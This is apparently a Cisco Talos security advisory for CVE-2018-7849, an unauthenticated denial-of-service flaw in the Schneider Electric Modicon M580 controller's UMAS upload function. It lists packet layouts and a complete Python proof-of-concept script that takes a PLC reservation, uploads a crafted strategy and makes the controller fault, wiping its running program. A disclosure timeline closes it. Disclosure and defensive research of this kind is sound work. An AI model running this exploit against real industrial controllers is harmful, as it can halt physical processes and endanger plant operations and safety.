CVE-2018-7849
An exploitable denial-of-service vulnerability exists in the UMAS strategy transfer functionality of the Schneider Electric Modicon M580 programmable automation controller firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can send unauthenticated commands to trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.70
https://www.schneider-electric.com/en/work/campaign/m580-epac/
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”
When programming a new strategy to a Modicon M580, six UMAS commands must be used in a specific order. First, a valid session and additional privilege must be obtained via a TAKE_PLC_RESERVATION request. This request gives the session the ability to successfully send privileged commands. With a valid reservation obtained an INITIALIZE_UPLOAD command must be sent, indicating that the new program will be following.
After the upload has been initialized, the first block of data must be sent to the device using an UPLOAD_BLOCK command. Failure to do so will prevent the device from accepting the upload.
Next, a command with the function code 0x6D must be sent. When this command is successfully received, the new strategy must be sent to the device in chunks of size 0x3F4 using the UPLOAD_BLOCK command. When sending the strategy it is important to resend the first block. Failure to do so will prevent the device from accepting the upload.
Once the strategy has been successfully sent, an END_STRATEGY_UPLOAD request must be sent to indicate that the last block has been sent. Finally, a RELEASE_PLC_RESERVATION command must be sent to give back the device reservation and restore the normal operating state.
The structure of a TAKE_PLC_RESERVATION command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F | G | H
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x10)
D --> Unknown (0x3B)
E --> Unknown (0x0E)
F --> Unknown (0x0000)
G --> Client Name Length (size of Client Name)
H --> Client Name (variable size)
The structure of the 0x6D command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |
+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x6D)
The structure of a INITIALIZE_UPLOAD command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |
+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x30)
D --> Unknown (0x0001)
The structure of a UPLOAD_BLOCK command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F | G
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x31)
D --> Unknown (0x0001)
E --> Block Number
F --> Block Size (0x03F4)
G --> Data
The structure of a END_STRATEGY_UPLOAD command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |
+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x32)
D --> Unknown (0x0001)
E --> Blocks Sent
The structure of a RELEASE_PLC_RESERVATION command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |
+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x11)
If the strategy uploaded during this process does not properly implement the file integrity checks it will cause the device to fail at the END_STRATEGY_UPLOAD step and trigger a recoverable fault state. In this state, the device stops its normal execution and removes the existing strategy. Recovery is possible through the use of the programming software UnityPro.
import struct
import socket
from time import sleep
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
def send_message(sock, umas, data=None, wait_for_response=True):
if data == None:
packet = ModbusADURequest(transId=1)/umas
else:
packet = ModbusADURequest(transId=1)/umas/data
msg = "%s" % Raw(packet)
resp = ""
sock.send(msg)
if wait_for_response:
resp = sock.recv(2048)
return resp
def main():
rhost = "192.168.10.1"
rport = 502
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
# TAKE_PLC_RESERVATION
mbtcp_fnc = "\x5a"
init_session = "\x00"
umas_fnc = "\x10"
unknown = "\x25\x10\x00\x00"
client_name = "test"
client_name_len = len(client_name)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
res = send_message(sock=s, umas=umas)
if res[9] != "\xfe":
print "[!] an error has occurred getting the PLC reservation"
session = res[-1]
# INITIALIZE_UPLOAD
umas_fnc = "\x30"
unknown = "\x00\x01"
umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown)
send_message(sock=s, umas=umas)
# Read in prepared APX file
data = ""
with open("Station.apx", 'rb') as f:
data = f.read()
# Build APX File Blocks
apx_len = len(data)
blocks = []
block = {}
block_len = 0x3f4
block_number = 1
for i in xrange(apx_len):
mod = i % block_len
if mod == 0:
block = {}
block['blockNum'] = block_number
block['data'] = data[i]
blocks.append(block)
else:
blocks[block_number-1]['data'] = "%s%s" % (blocks[block_number-1]['data'], data[i])
if mod == block_len-1 or i == apx_len-1:
block['blockDataSize'] = len(blocks[block_number-1]['data'])
block_number += 1
# UPLOAD_BLOCK request for First Block
umas_fnc = "\x31"
block_num = 1
block_size = len(blocks[block_num]['data'])
conv_block_num = struct.pack("<H", block_num)
conv_block_size = struct.pack("<H", block_size)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
send_message(sock=s, umas=umas, data=blocks[0]['data'])
# Required FNC 0x6D
umas_fnc = "\x6d"
umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
send_data = "00040101000000".decode('hex')
send_message(sock=s, umas=umas, data=send_data)
# UPLOAD_BLOCK request with repeated First Block
send_data = ""
umas_fnc = "\x31"
blocks_len = len(blocks)
for i in xrange(blocks_len):
conv_block_num = struct.pack("<H", blocks[i]['blockNum'])
block_size = len(blocks[i]['data'])
conv_block_size = struct.pack("<H", block_size)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
send_message(sock=s, umas=umas, data=blocks[i]['data'])
sleep(.02)
# END_UPLOAD
umas_fnc = "\x32"
unknown = "\x00\x01"
num_blocks = struct.pack("<H", len(blocks))
umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, num_blocks)
send_message(sock=s, umas=umas)
# RELEASE_RESERVATION
umas_fnc = "\x11"
umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
send_message(sock=s, umas=umas)
# clean up
s.close()
if __name__ == '__main__':
main()
2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release
Discovered by Jared Rittle of Cisco Talos.